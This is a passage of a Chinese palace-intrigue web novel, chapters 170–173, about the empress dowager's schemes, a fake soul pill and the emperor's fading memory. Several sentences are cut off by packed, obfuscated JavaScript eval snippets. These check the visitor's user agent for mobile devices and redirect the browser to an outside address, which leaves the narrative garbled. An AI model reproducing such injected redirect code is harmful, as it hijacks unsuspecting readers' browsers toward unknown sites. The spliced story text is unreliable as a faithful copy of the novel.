“是。”彭安容虽然心有不甘,但是却没有办法,过了片刻,似是想起什么,缓缓抬起头,对曹暮烟道,“太后娘娘,臣妾将汤汁洒在了一个同心结上,皇上非常生气,这才将……将臣妾赶出了琼华殿。臣妾猜……那同心结想必是以前瑾淑妃送的吧。” 虽然她以前不喜瑾淑妃,可是这位太后娘娘更是将瑾淑妃恨之入骨! 果然,曹暮烟的眸光顿时掠过一抹狠戾,有些不耐的对彭安容摆了摆手,“行了,你下去吧。” “是。”彭安容缓缓退出了内殿,不由得长长舒了口气。 “啪!”曹暮烟将一旁桌上的杯盏全部扫落在地。 “烟儿……” “到现在,他还想着她!哀家倒要看看三个月后,他是否还会记得她!” “自然是不记得,烟儿莫要动怒。”沧月在一旁小心的劝道。 “找到他将那个小**藏哪了么?”曹暮烟厉声道。 “暂时……还没有。” “废物!”曹暮烟怒气一掌砸断身侧的扶手,“他们从西楚回来,不是让你盯着的么,这样竟然都能跟丢!” “烟儿,奴才该死!” “你可知他今日去了哪?” “奴才派人盯着,可是才不过一道街的距离就被甩下了。” “哀家养了一群饭桶么!”曹暮烟声音陡然升高,在寂静的长乐宫中十分尖锐。 “烟儿,你打我骂我都可以,千万不要动怒伤了身子,你现在可是双身子了!” 提到双身子,曹暮烟眉梢才稍稍柔和了一些,“听说,那个贱丫头也怀了身孕。” “是,息子魂殇……解了!” 曹暮烟凤眸中划过一抹狠戾,北宫喆让她小产,那她要让他这辈子都没有子嗣! 沧月微微抬眸,“烟儿,你说这次,他……会不会……” “不会!这次哀家做的隐秘,他是不会知道的!”曹暮烟斜斜靠在软榻上,“这几日你给哀家盯紧他!” “是。” “慕容清那里如何了?” “气数已尽,慕容清虽然为人狂妄阴狠,但是他现在兵马损失严重, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16547991|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就连他的贴身暗卫秋月也**,他已经是秋后的蚂蚱,不足为惧!” “若是不能斩草除根,必会后患无穷!” “烟儿是想……” “征讨!”曹暮烟眼底划过一抹算计,“风明如今还在沐阳,将彭将军从西楚调回来征讨慕容清,最好是同归于尽!” “是。” “你也退下吧,哀家想歇会。” “夜深了,烟儿不如去榻上睡吧。” 此时,曹暮烟已经阖上了眼睛,像是没有听到沧月的话一般,片刻,已经传来了她浅浅的呼吸声。 沧月只得给她拉了拉被子,在一旁守着她。 “噗——”过了半晌,曹暮烟蓦地坐了起来,喷出一口鲜血,满目的不可置信。 “这怎么可能……怎么可能……” “烟儿,怎么了?”沧月惊呼道。 “傀儡术,失败了!” “怎么会这样?” 曹暮烟眸光微敛,“想必是有人给那个贱丫头补了心头血!”她的脸色变得惨白,双眸内一片血红。 “烟儿,先回去休息吧。” 曹暮烟还没有来得及起身,便脑袋一偏晕了过去。 “烟儿,烟儿……”沧月一把抱起软榻上的曹暮烟,匆匆走向寝殿。 这时,一抹黑色的身影悄无声息的潜进了内殿,不断地翻找着,不过一盏茶的功夫,她已经将内殿找了一遍。 突然,她的眸光幽深,随手朝殿外扔了一个小花瓶。 碎瓷声立即吸引了沧月的注意,他将曹暮烟放在榻上,然后身形一掠出了寝殿。 “谁在那里?” 只这一会的功夫,陌姑姑潜寝殿,从曹暮烟怀中摸出引魂丹来,咬破自己的手指,将血滴涂在引魂丹上,看着引魂丹上那抹血滴,陌姑姑黑瞳骤缩。 原来这竟是一颗假的引魂丹! 真的引魂丹可是滴血便融,只怕这曹暮烟也不知晓这一点吧! “不好!”沧月扫了眼地上的碎瓷,眸光一紧,上当了!他身形一闪,进了寝殿。 陌姑姑听着渐进的脚步声,身子如一只壁虎一般贴上了墙壁,然后像来时一样悄无声音的出了长乐宫。 沧月看到曹暮烟安然地躺在榻上,心中一松,对着隐在暗处的死士吩咐道:“追!” 他走到曹暮烟身侧,从她怀中摸出引魂丹来,放在鼻翼下面嗅了嗅,一股淡淡的血腥萦绕在鼻翼。 看来来人是冲着引魂丹来的,既然这样,为何没有将引魂丹带走呢? 那就只有一个解释,这颗引魂丹是假的! 沧月不由得收紧了手中的引魂丹,双眸骤缩,看来那日江向晚为了这颗引魂丹可是费了不少心思,不惜破开胸膛,将一颗假的引魂丹埋入心口! “烟儿,我来给你疗伤。” 过了许久,沧月收了掌,曹暮烟惨白的脸色稍稍恢复了些许红润。 “沧总管。”一抹黑色的身影立在榻前。 “人呢?” “进了储秀宫,属下进去,人就没了。” 储秀宫?那究竟是谁的人?沧月眉头微凝,淡淡道:“你下去吧!” 第170章 一直骗她 第一百七十章一直骗她 储秀宫内,一道黑色的身影隐在漆黑的夜色中,陌姑姑来到琼华殿外,将一枚飞镖掷入殿内,然后转瞬消失在了夏宫。 “梆——”飞镖深深地嵌入一旁的圆柱上。 月清绝眼睁睁的看着那枚飞镖从他的头顶掠过,不禁后怕的拍了拍胸口,差一点他就要血溅当场了! 北宫喆起身将圆柱上的飞镖一把拔下,看着上面系着的布条,眸光微敛。 “北宫喆,你这琼华殿可不怎么安全,本公子的小命刚才就差点交代了!” 北宫喆展开布条,看到上面刚刚干涸的血迹,轻垂眸光。 “曹暮烟的引魂丹是假的!”月清绝忍不住念出声道。 北宫喆并没有太过意外,脸色依旧冷淡,他久久的盯着布条上面的血迹。 “若是曹太后手中是假的,那……”月清绝转眸看向北宫喆,真的引魂丹在哪里已经不言而喻。 看着北宫喆深邃的眸光,月清绝扫了眼他手中的布条问道:“这是谁送来的?” 北宫喆收了布条,眸光深深,淡吐道:“朕母妃。” “陌姑姑?”月清绝惊道,那陌姑姑的内力不就剩下了一成么,“你不担心?” “既然她能将这消息递回琼华殿,那她就有能力出得宫去。”北宫喆说着踏进内殿。 烛火轻摇,洒下一室柔和,跳跃的烛光将北宫喆修长的影子拉得更长。 “喂,你未免也太薄情了。”月清绝几步跟了上去。 北宫喆闻言脚步一顿,回头看他,“朕要歇下了,你确定要来?” 月清绝脸色一凝,眸光上下扫了眼北宫喆,愤愤道:“本公子不稀罕。” 第二日,安文夕用过膳后,就和欢凉一同去了东院厢房。 而此时,秋水已经重新梳洗整齐,人也显得精神不少,脸上带着铁面面具,一袭白袍平添几分儒雅。 他看到安文夕走来,冲她淡淡点头,经此一事,他沉稳了不少。 “坐吧。”安文夕扫了他一眼道。 秋水落座之后,从袖中取出一封信递给安文夕,用唇语道:“我所知道的昨晚已经全部写进里面了。” 安文夕接过信,对他道:“秋水,你身上的毒还有你的脸,总会有办法的,你不要自暴自弃。” 秋水微微垂眸,“公主放心,秋水会努力活下去。” 安文夕欣慰的笑了笑,“你若是在这里待不习惯,可以回凤青轩,花姑姑很想你。” 提到花姑姑,秋水眼眶有些湿润,虽然他不是花姑姑的儿子,却被花姑姑一手带大,感情十分深厚。 “过段时间,我就去看她。”秋水微微覆上了脸上的铁面面具。 安文夕微微敛眸,她知道秋水还不能迈过心中的那道坎。 “公主,我想开始练功了,就不陪你了。”秋水微微颔首。 “好,我改天再来看你。”安文夕起身,压下心中的酸楚,以前那个活泼好动的秋水再也不见了。 安文夕再次回到上房的时候,才发现陌姑姑早在上房等她,她的眉宇之间有些倦色,眼睛下面有着淡淡的乌青。 “陌姑姑,你怎么来了?” 陌姑姑见她进来,立即沉声道:“曹暮烟手中的那颗引魂丹是假的!” “假的?”安文夕微微一滞,“那就是说引魂丹还在江向晚手中。” 陌姑姑点头,“应该是。” “陌姑姑昨晚去了夏宫?” 陌姑姑闻言,眼神蓦地变得凌厉,“本宫的事情不需要你插手。” “公主也是关心你。”欢凉愤愤补了一句。 陌姑姑淡淡扫了她一眼,没有说话。 “陌姑姑先去休息吧,引魂丹的事情先不要告诉父皇。” “本宫知晓。”陌姑姑微微点头,然后出了上房。 “公主,我真是越来越不喜欢陌姑姑了。”欢凉撇嘴。 “欢凉,陌姑姑就是这样的性格,为人清冷,但是心地很好,爱恨分明,不然也不会帮我去找引魂丹了。” “陌姑姑不是说了她这是为了报答公主那日在长乐宫的救命之恩。” “罢了,你去西院的书房给我找些杂记来。”安文夕靠在了软榻上。 待欢凉走后,安文夕这才从袖中取出秋水给她的信。 上面详细记录了从她让他和无涯到南昭协助晟哥哥,再到他们回到大夏皆被慕容清劫走这半年多来所发生的事情。 看到最后,安文夕的心一点点沉了下去,她最不愿意去承认的事情还是发生了,她所敬爱的晟哥哥一直都在骗她。 安文夕狠狠的将信握在手中,转瞬攒成齑粉。 这件事也许父皇并不知道,只怕就连王叔也一直都以为晟哥哥就是他的孩子,因为秋水提到晟哥哥自小就服用了换颜丹,他的容貌和王叔有七分相似! 安文夕微微闭上了眼睛,身子后仰躺在了软榻上,一时间觉得心累无比。 一连十日,北宫喆再也没有来过,安文夕平常在上房里看书养胎,偶尔也会去竹林北院陪父皇散步聊天,给母后擦拭身体。 安文夕如今还处在孕吐期,但凡有星点油腻,她的胃里就会不舒服,而陌姑姑却天天冷着一张脸逼着安文夕喝各种补汤。 这日上午,安文夕单手撑着头,握着书卷,靠在软榻上,神态悠闲。 欢凉脸上带着兴奋走了进来,对安文夕道:“公主,你看谁来了。” 安文夕心中一惊,难道是北宫喆来了?她蓦地从软榻上坐起,待看到月清绝摇着羽扇走了进来,眼睛略带兴奋的光芒慢慢淡了下去。 “怎么,看到本公子这么失望?” 安文夕嘴角牵起一抹微笑,“月公子说笑了。” “北宫喆那小子忙得脚不沾地,没有时间来。”月清绝说着收了羽扇,“我先为你把把脉。” 探了探安文夕的脉象,月清绝眉头略皱,“你的底子到底是太差了,虽然还在孕吐期,但是为了孩子你也要多吃。” “我明白,月公子既然来了,就一起去看看秋水吧。” 月清绝点头,“本公子今日就是为了秋水而来。” 安文夕咬了咬唇,问道:“月公子,月谷主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16547992|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可曾来了夏宫?” “没有,不过,老爷子修书与我,告诉了我抑制忘情蛊虫生长的方法,我会争取时间去南昭取得解药。” “去南昭?”安文夕心中一惊,楚君昱告诉她要想拿到解药必须要用千年龙魄和华宇单交换,那月清绝又是如何去南昭取得解药? “你放心,北宫喆那种祸害哪有这么容易死。”月清绝摇着羽扇,话题一转道,“怎么不见**袭呢?” “袭匀不在山庄。” 看着月清绝一副不愿多谈的样子,安文夕不禁抿了抿唇,她好想问一下北宫喆现在的记忆有没有消退,可是她不能,她必须装作一副毫不知情的样子。安文夕微微垂眸,她的心中已经酸楚一片。 月清绝来到东院,给秋水把了脉,检查了下身体,眉头略皱。 “他体内的毒虽然阴邪霸道,但却并不难解,服用冰火草即可解毒,但是这解毒的过程十分痛苦。” “十分痛苦?”欢凉惊道。 月清绝点点头,“一旦服了冰火草,立即会陷入冰火两重天,比毒发还要痛苦万分,若是熬过去了便是解了此毒,若是熬不过去……” 秋水眸光微敛,半晌缓缓点头。 “你真的想好了么,大部分中了此毒的人在解毒过程中都没有熬过去……” 月清绝还没有说完,秋水再次点了点头,眼神坚决。 “好,我药箱里就带着冰火草呢,我待会给你配药。不过,你的脸……”月清绝犹豫了一下,“估计很难恢复了。” 这个结果他早就料到了,此时再听到月清绝说,心中不免多了些释然,他今后就要一辈子戴着这铁面面具而活了,秋水想到这里,嘴角不禁泛起了一抹苦笑。 “月公子在,真的没有办法了么?” 月清绝摇了摇头,“除非换脸,可是他也不愿意一辈子顶着别人的脸而活吧。” 秋水抿了抿唇,用唇语对安文夕道:“公主,不过是一张脸罢了,我不在意。” “好了,本公子先去配药。”月清绝起身,背上了药箱。 “欢凉,你带月公子去隔壁厢房。”安文夕淡淡吩咐道。 欢凉立即跟了上去问道,“月公子,你这次来什么时候走?” “怎么,不舍得我?”月清绝戏谑道。 “我是想让你早点治好秋水,别想多了!” “小丫头,嘴硬!”她满眼的期待,他都看出来了好不好? “切,不说拉倒。”欢凉没好气的快走两步,将月清绝甩在了身后。 月清绝一把拉住了欢凉的手腕,浅笑道:“小丫头,本公子知道你不舍得本公子走,所以本公子决定在这里多住几天。” 听着他的暧昧,欢凉脸色丨微红,一把甩开月清绝的手,半嗔半怒,“臭流氓!” “本公子流氓你哪了?” “你——”欢凉一时语塞,索性抿唇走在了前面。 长乐宫内,曹暮烟身着大红的宫装,长裙曳地,妆容妖娆。由沧月搀着,看着涂着血红蔻丹的指甲,妩媚的扬起嘴角,眼底的余光淡淡扫向殿内跪着的暗卫。 第171章 臣妾不敢 第一百七十一章臣妾不敢 “可曾跟上了?”曹暮烟淡淡开口。 “回太后娘娘,属下一直跟着月清绝,亲眼看着他进了青末山庄。” “青末山庄?” “青末山庄就在承安郊外,隐于深山,十分隐蔽,而且山林繁密,非常容易迷路。” 曹暮烟冷哼,“他倒是将她藏得够隐秘的!”她苦苦查了这么久都没有任何线索,若不是月清绝此次引路,只怕她永远都找不到! “烟儿,这次可以将他们一网打尽了!” “这下有好戏了。”曹暮烟对沧月娇笑道,“哀家相信,这宫里马上就要热闹起来了。” “这次奴才一定将她带到夏宫。” “不,这次哀家要亲自去!”曹暮烟凤眸内划过一抹狠戾。 “这怎么可以,你就安心待在……” “听不懂么,哀家要亲自去!”曹暮烟厉声打断了沧月,“这么美好的一幕哀家怎么能错过?” “好,奴才这就去安排。” 而在青末山庄内,月清绝刚刚为秋水配了解药,还没有来得及给他服下,袭匀一路奔波而来,气喘吁吁对众人道:“大事……大事不好了,曹太后发现了这里!” “什么?”月清绝吃惊道。 陌姑姑不知何时出现在了门口,看着月清绝沉声道:“只怕你身后跟了尾巴!” “赶紧走,不然一会就走不了了!”袭匀拍着胸口,大口喘气道。 “只怕走不了了!”陌姑姑眸光微敛。 “陌姑姑,夕儿有一事想求,竹林北院有一密道,还请陌姑姑带着我父皇母后还有秋水先走一步。” “那你呢?我绝不允许你带着肚子里的孩子去犯险!” “陌姑姑,你听我的,否则我们这次谁也走不了!”安文夕盯着陌姑姑道。 “都别争了,赶紧决定,不然就晚了!”袭匀急道。 陌姑姑淡淡垂眸,“好,我答应你,一旦他们安全,我便进宫找你。” 安文夕点头,嘱咐道:“一定要记得将密道毁掉!” “事不宜迟,赶紧走!” 安文夕回了上房,立即叫来了白羽,让他务必护送陌姑姑安全离开。北宫喆原本留在青末山庄的羽卫此时还剩了十人。 安文夕刚把陌姑姑一行人送走,整个青末山庄就全被包围了起来。 一直都处于与世隔绝的青末山庄第一次涌入了这么多人,管钟带着小和子和小顺子拦在门口。 “你们是何人,怎么敢擅闯青末山庄?”管钟冷冷发问,皇上将这里交给他打理,他怎么能任由别人进入这里。 “你不认识咱家?”沧月颇为好心情道。 “不认识。”钟叔的确没有见过沧月,不过看他的行头,他心中也已经猜到了七八分。 “这是沧总管,还不赶紧行礼!” “老夫只听令于皇上,只向皇上行礼。”管钟声音微冷,一个太监也妄想让自己行礼么? “谁在外面吵嚷,饶了哀家的好梦。”一旁的凤辇中传出一声慵懒。 “太后娘娘,您醒了?”沧月掀开车帘。 “那么大的声音,哀家能不醒么?”曹暮烟冷道,由沧月扶着凤仪万千的从凤辇中下来。 红裙曳地,莲步轻移,走到钟叔面前,厉声道:“大胆奴才,见到哀家不知道行礼么?” “老奴管钟给太后娘娘请安。” “小和子、小顺子给太后娘娘请安。” 曹暮烟红唇扯出一抹不屑,视线从钟叔及小和子、小顺子身上掠过,丝毫没有让他们起身的意思,眸光打量了眼四周,不禁开口道:“这里倒是清静宜人,比哀家的长乐宫还要舒适呢。” “太后娘娘喜欢这里?”沧月小心翼翼的搀着她。 “这里的风景不错。”曹暮烟一路朝上房走去。 “听闻这里是皇上买下的宅子,太后娘娘若是喜欢这里,想必皇上必会乐意将这里送给太后娘娘的。” 曹暮烟似是想起了什么,脚步一顿,转身对身后道:“你们怎么还没有平身,哀家年纪大了,记性不好。罢了,你们起来吧。” 管钟微微握拳,“多谢太后娘娘。” “哀家问你,这里可曾住人?” 钟叔犹豫着不知道如何作答的时候,前方传来一阵浅浅的脚步,只见安文夕一袭红衣翩跹而来,雍容雅步,周身气质丝毫不输曹太后。 “太后娘娘怎么来了?” 曹暮烟原本含笑的凤眸在看到那一抹红衣之时,陡然变得凌厉,搭在沧月手腕上的手也不自觉地加大了力气。 “瑾淑妃,好久不见啊!”曹暮烟嘴角噙笑,但眼底如沁寒冰,一副就恨不得要将安文夕除之后快的样子。 “臣妾给太后娘娘请安。” “免了,不曾想皇帝竟将你藏到了这里,还派了月公子亲自照看。”曹暮烟冷哼,眸光淡淡落在了月清绝身上。 “在下给太后娘娘请安。” 月清绝一阵叫苦,这个曹太后还真是时刻不忘了挑拨离间。 “起来吧。”曹暮烟看向月清绝的目光柔和了几分,看的月清绝一阵心惊肉跳,这老太婆这是什么意思,难道这是在感谢他为他们引路?月清绝顿时有种欲哭无泪的悲哀。 “臣妾身子一直不好,皇上特地让臣妾在此养病。”安文夕依旧是一副不卑不亢的样子。 “养病?”曹暮烟眼底一片讥讽,移步上前,走进安文夕道,“这怕不是病,而是有了身孕吧。”她的眸光不经意间落在了安文夕的小腹之上。 安文夕看着曹暮烟阴狠的眸光,蓦地将双手交叠护在小腹之上。 看着她的动作,曹暮烟又是一阵冷笑,这一次她定要让她生不如死! “太后娘娘今日来这里所为何事?” “来抓一个刺客!” “太后娘娘说笑了,这里只有我们几人,怎么会有刺客呢?更何况,就要是抓刺客,怎敢劳烦太后娘娘亲自前来?” “呵呵……”曹暮烟倏地笑了,“这刺客偷得是哀家的引魂丹,哀家自然要亲自将那刺客抓回去!”她狠狠地咬了“引魂丹”这三个字,说话之时,她落在安文夕脸上的眸光又凌冽了几分。 “引魂丹不是在江小姐手里么,怎么会到了太后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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北宫喆的目光这才看向安文夕,在他清冷的眸光中多了几分陌生而少了几分温柔,安文夕心中酸涩,他现在到底还记得多少和她有关的记忆? “你是安文夕?”北宫喆凉凉道,他记得她是他喜欢的人,可是为何一直深深刻在他脑海中的那个影子又好像不是眼前这个女子? “是。” 看着北宫喆略略淡漠的语气,月清绝不禁叹了口气,如今已经过了一个月,他的记忆也已经消退了三分之一了。 “母后既然想搜这里,你让母后搜查便是。” “可是……”安文夕咬唇,“皇上,这里是你送给臣妾的,怎么……” “你难道想忤逆母后?” “臣妾不敢。”安文夕死死地咬着下唇,他的陌生冷淡令她心痛,她深吸了一口气对曹暮烟道,“刚才臣妾冒犯了太后娘娘,还请太后娘娘恕罪,既然太后娘娘想要搜查,那便请吧。” 看着安文夕隐忍的小脸,曹暮烟顿时心情大好,双眸飞快的掠过一抹阴狠,现在北宫喆的记忆才刚开始消退,好戏还在后面呢! 第172章 重回夏宫 第一百七十二章重回夏宫 这时,一位暗卫掠身到曹暮烟身侧,靠在她耳边说了什么,她的脸色顿时大变,她立即对来人吩咐了几句,那人匆匆离开。 “母后,还搜么?”北宫喆眉宇之间隐约隐藏着一丝不耐。 “今日就先不搜了,不过皇儿,哀家倒是喜欢这处山庄。”曹暮烟挑眉看向北宫喆。 “母后,这处山庄是早先朕送给瑾淑妃的。” 曹暮烟嘴角的笑意一僵,她实在难以相信北宫喆竟然拒绝了她! “若是太后娘娘喜欢,臣妾不在意的。”安文夕敛眸。 北宫喆走过去,一把揽住安文夕的纤腰,心中顿时涌出一股万分熟悉的感觉,这个动作就像是做了无数次一样熟练,以至于他根本就没有多想,就将她揽在了怀中。 “这怎么可以,你住过的怎么还能给母后,母后若是喜欢幽静的住所,朕改日就派人再去寻一处宅子,好让母后休养身体。” 看着北宫喆护在怀里的安文夕,曹暮烟气的胸口一阵阵发闷,她看得出他对安文夕的感觉淡了,可他偏偏还护着她! 就连这青末山庄她都开口提了,没想到他竟然拒绝,理由合理的让她挑不出任何错来,这让她脸面何在? 她双眸阴鸷的扫了眼北宫喆,他从小就像那个女人一样,明明在她的控制之下,却让她感觉她永远控制不了他! 她强忍着怒意,冷冷一笑道:“皇儿有心了,时间不早了,哀家便先回宫了。” “恭送母后。” “恭送太后娘娘。” 曹暮烟走了两步,蓦地回头,别有深意的扫了眼安文夕的小腹对北宫喆道:“哀家听闻瑾淑妃有孕,说来这还是皇儿的第一个子嗣,怎能流落在外,皇儿还是早些将瑾淑妃接回宫去,好好养胎。” “你可愿跟朕进宫?”北宫喆征询安文夕的意见道。 “好。”安文夕微微点头,即使她想继续留下,曹太后只怕也会千方百计的将她带进宫。更何况,现在这里已经暴露,也不再安全。 曹暮烟搭着沧月的手,一步步回了凤辇。 沧月感觉自己的手腕被曹暮烟掐的麻木,轻声劝着她道:“烟儿,这次能够将瑾淑妃带回宫中,此行也不是一无所获。” 曹暮烟眸光阴冷,望着渐渐远去的青末山庄,双拳紧握。 曹暮烟走后,安文夕松了口气,立即去了竹林北院,当她踏进之后,北院的竹屋依旧是原来的模样,只是已是人去楼空。 “回去吧,朕已经派人接应了他们。” 安文夕略略惊讶,还没有来得及说话,只听得北宫喆道:“走吧,先回上房,你收拾一下,朕带你回宫。” 依旧是冷淡的语气,安文夕心中微酸,看着他明黄的背影,竟一时忘了跟上去。 “怎么了?”北宫喆微微拧眉。 “没事。”安文夕嘴角扯出了一抹淡笑。 回到上房,看着她忙碌着的身影,北宫喆的视线不受控制的被她吸引,他走过去蓦地握住她的手。 “夕……夕儿……”这一句仿佛萦绕在了他的唇边多时。 “嗯?”安文夕手中的动作一滞,缓缓抬头,这才发觉她的腰已经被被北宫喆霸道的揽起。 看着近在尺咫的红唇,北宫喆情不自禁低头含丨住,柔软的触感令他心底一阵微颤。 他微闭上眼睛,一点点的去探索、去感触、去掠夺更多,这种甜美令他再熟悉不过,这是他的小夕儿,他还记得! 安文夕看着他眉眼之间渐渐涌出的柔情,她双眸一阵阵发酸,慢慢伸手攀上他的后背,将自己贴近他的怀中,闭上眼睛一点点的迎合着他。 他的吻很深,既霸道又温柔,令她不禁就此沉沦。直到她娇喘连连,他才结束了这个绵长的吻,看着她微微红肿的红唇,他忍不住轻啄了两下,又允了两口,这才不舍得放开了她。 “夕儿……”北宫喆张了张口,却吐不出一个字来,他害怕这种慢慢忘记她的感觉。 安文夕反握着他的双手,迎着他有些复杂的眸光道:“九哥哥,还记得我送你的手链么?” 这一声“九哥哥”令北宫喆眼中蓄了丝暖意,他缓缓抬手拉起袖口,露出那条红豆手链,经过摩挲,那一颗颗红豆更加晶亮。 “记得,朕看见它就会想起你。” 此时的北宫喆双眸多了丝温柔,刚才的陌生渐淡,安文夕嘴角微勾,是不是她陪在他的身边,他的记忆就会减退的更慢一些? “你记得就好。”安文夕浅笑,“我收拾东西,你等我。” 马车轻摇,扬起阵阵烟尘,缓缓驶进宫城,安文夕的心中一时间五味复杂,当初千方百计想要逃离的地方,如今她又回来了!北宫喆一路紧握着她的手,温暖的大手令她心中微安。 再次踏进未央宫,安文夕长长的舒了一口气,虽然现在百花开得正艳,但是她却满目苍凉。这未央宫的一草一木丝毫没有变化,踏进殿内,所有的摆设一如她在的时候那般,整个大殿纤尘不染,根本看不出这里已经空置了半年了,她顿时心中一暖。 安文夕立在殿内浅浅勾唇,既然她来了这里,她就要在这深宫之中保护好她的孩子,守住她的九哥哥! 安文夕重回夏宫在宫内掀起了一阵不小的波动,谁都没有想到当时被皇上一杯毒酒赐死的瑾淑妃又回来了! 她不仅回来了还身怀龙嗣,并且她一回到夏宫,就荣登皇贵妃之位,后宫里的所有妃嫔都感觉到了空前的压力。若是她妃产下皇子,母凭子贵,到时候只怕整个后宫都再也没有人可以和她抗衡了。 众位嫔妃个个将安文夕嫉恨到了骨子里,却不得不纷纷拿着礼品前来未央宫道贺。安文夕懒得应酬那些嫔妃,全部让欢凉挡了回去,众位嫔妃心中更加不痛快,皆在暗地里指责安文夕恃宠而骄。安文夕早就将此看淡,无论别人怎样议论,她始终待在未央宫内安心养胎。 江向晚听到这个消息之时,手中捧着的茶盏陡然滑落,滚烫的茶水洒了一身。 她对面的江向晴不动声色的勾了勾唇,然后立即惊呼道:“姐姐,你没事吧。”她慌乱的从怀中抽出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我今天回府就没打算回宫,晴儿今晚想和姐姐一起睡。”江向晴一脸祈求的看向江向晚。 江向晚压下心中的不耐,半晌才道:“好。” “对了,姐姐,我来时太后娘娘让我跟姐姐带句话。” 江向晚闻言,心中顿时咯噔一下,微微蹙眉,“什么话?” “没什么,就是她说她想你了,想让你进宫去陪陪她。” 江向晚嘴角阴笑连连,只怕那个老妖婆发现了引魂丹是假的,现在要逼着她交出真的引魂丹呢! “你回去告诉太后娘娘,最近我赶着做嫁衣,没时间陪她老人家,等我嫁入夏宫,就天天去长乐宫服侍她!” 江向晴微微一愣,她没有想到江向晚竟然拒绝了曹太后,她们的关系不是一向很亲和么?看来,她们之间也没有那么亲密,江向晴想着微微勾唇。 第173章 绝不同意 第一百七十三章绝不同意 安文夕来到未央宫的第二日,便收到了曹暮烟的请柬,说是为了给她接风洗尘,特举行百花宴。 陌姑姑昨夜便已经潜回了未央宫,她看着安文夕手上的大红烫金请柬,眸光微敛。 “遣个人跟她说身子不适,这百花宴分明就是鸿门宴,不去也罢。” “陌姑姑,这躲是躲不过的,就算没有这百花宴,还会有别的宫宴,不能每次都推脱身体不适。” 陌姑姑垂眸,“你可知上次曹暮烟的孩子小产是喆儿做的?” 安文夕摇了摇头,她还真的不知道曹暮烟竟然身怀有身孕过。 陌姑姑的眸光落在安文夕的小腹之上,凝眸道:“所以,我想我不说,你也明白此次百花宴的凶险了吧。” 安文夕微微勾唇,“陌姑姑,我觉得未必,这几日我在古籍上查阅了一些入魔的记载,人一旦入魔便失去了灵魂,故而若是入魔的人能够取得别人的灵魂,便可以摆脱魔性困扰。” 陌姑姑眸光一闪,安文夕继续道:“江向晚入魔的事情想必陌姑姑是清楚的,曹暮烟没有想到的是因为江向晚没有心脏,她只能取了她半条灵魂。” 陌姑姑闻言蓦地大惊,“你的意思是说……” 安文夕点点头,“只怕曹暮烟早就盯上了我肚子里的龙嗣,她既然打算取这孩子的灵魂,现在就绝不会让我有事的。” 陌姑姑微微点头,“你可知曹暮烟再次怀有身孕?” 安文夕双眸之中飞快的掠过一抹惊讶,“孩子是沧月的?” “是,这样的孽种不能留。”陌姑姑咬牙。 “魔生子本就困难,我倒觉得这个孩子对我们有益。”安文夕眸光微闪。 “公主,月公子来了。” 只见月清绝背着药箱缓缓走进内殿,这两日来,月清绝天天都来给她把脉。 “陌姑姑,你去看一下我的安胎药,有你盯着我才放心。” 陌姑姑深深的看了她一眼,嘴角动了动,但始终没有说话,转身出了内殿。 “欢凉,你也去。” 月清绝收了手,对安文夕道:“说吧,你将他们支走想跟我说什么?” “月公子,北宫喆的事情,你还想瞒我多久?” 月清绝微微垂眸,她和北宫喆朝暮相处,迟早会发现端倪,他就知道瞒不住她。 “北宫喆所种的忘情蛊会慢慢失忆。” 安文夕微微点头,“这个我早就知道了。” 月清绝微惊,“你何时知道的。” “就是那次你和北宫喆的谈话,忘情蛊一事,月谷主也没有办法对不对?” “北宫喆所种的这忘情蛊远比我想象的麻烦,要不然也不会在短短半个多月的时间就会遗失了三分之一的记忆。而且有些事情他就是用笔记下来了,但是他再次回忆时,仍然没有一点印象。” 安文夕黛眉轻挽,“月公子打算何时去南昭寻药?” “你问这个做什么?” “我想和你一起去。” “这怎么可以,你现在身怀有孕,怎么能去冒险呢?” “我有分寸,绝不会拖累月公子的。” “唉,这不是拖累不拖累的事情。”月清绝无奈的叹了口气,“这南昭你去不得。” “为何?” 月清绝蓦然抬眸,盯着她的双颊道:“你可知南诏太子去世的那位太子妃和你长得一模一样!” “什么?”安文夕难以置信的覆上了花颊,“这件事楚君昱可否知道?” 月清绝微微一愣,“他为这件事找过你?” 安文夕淡淡点头,“但是他没有提到我和那太子妃长得一样。” 月清绝不禁蹙眉,“难道他让你去南昭寻解药?没道理呀,这楚君昱为何要帮北宫喆?更何况,他不是应该更在意你不是么?” 安文夕抿了抿嘴角,玉公子说她陪他一年,才会给她千年龙魄,可是他明明知道北宫喆的情况紧迫,她根本就没有时间在西楚待上一年。 难道是…… 他想陪她去西楚寻药! 可是他才登基不久,根基未稳,怎么能跟着她去南昭。再说了,为了她和北宫喆,他这样做值得么? 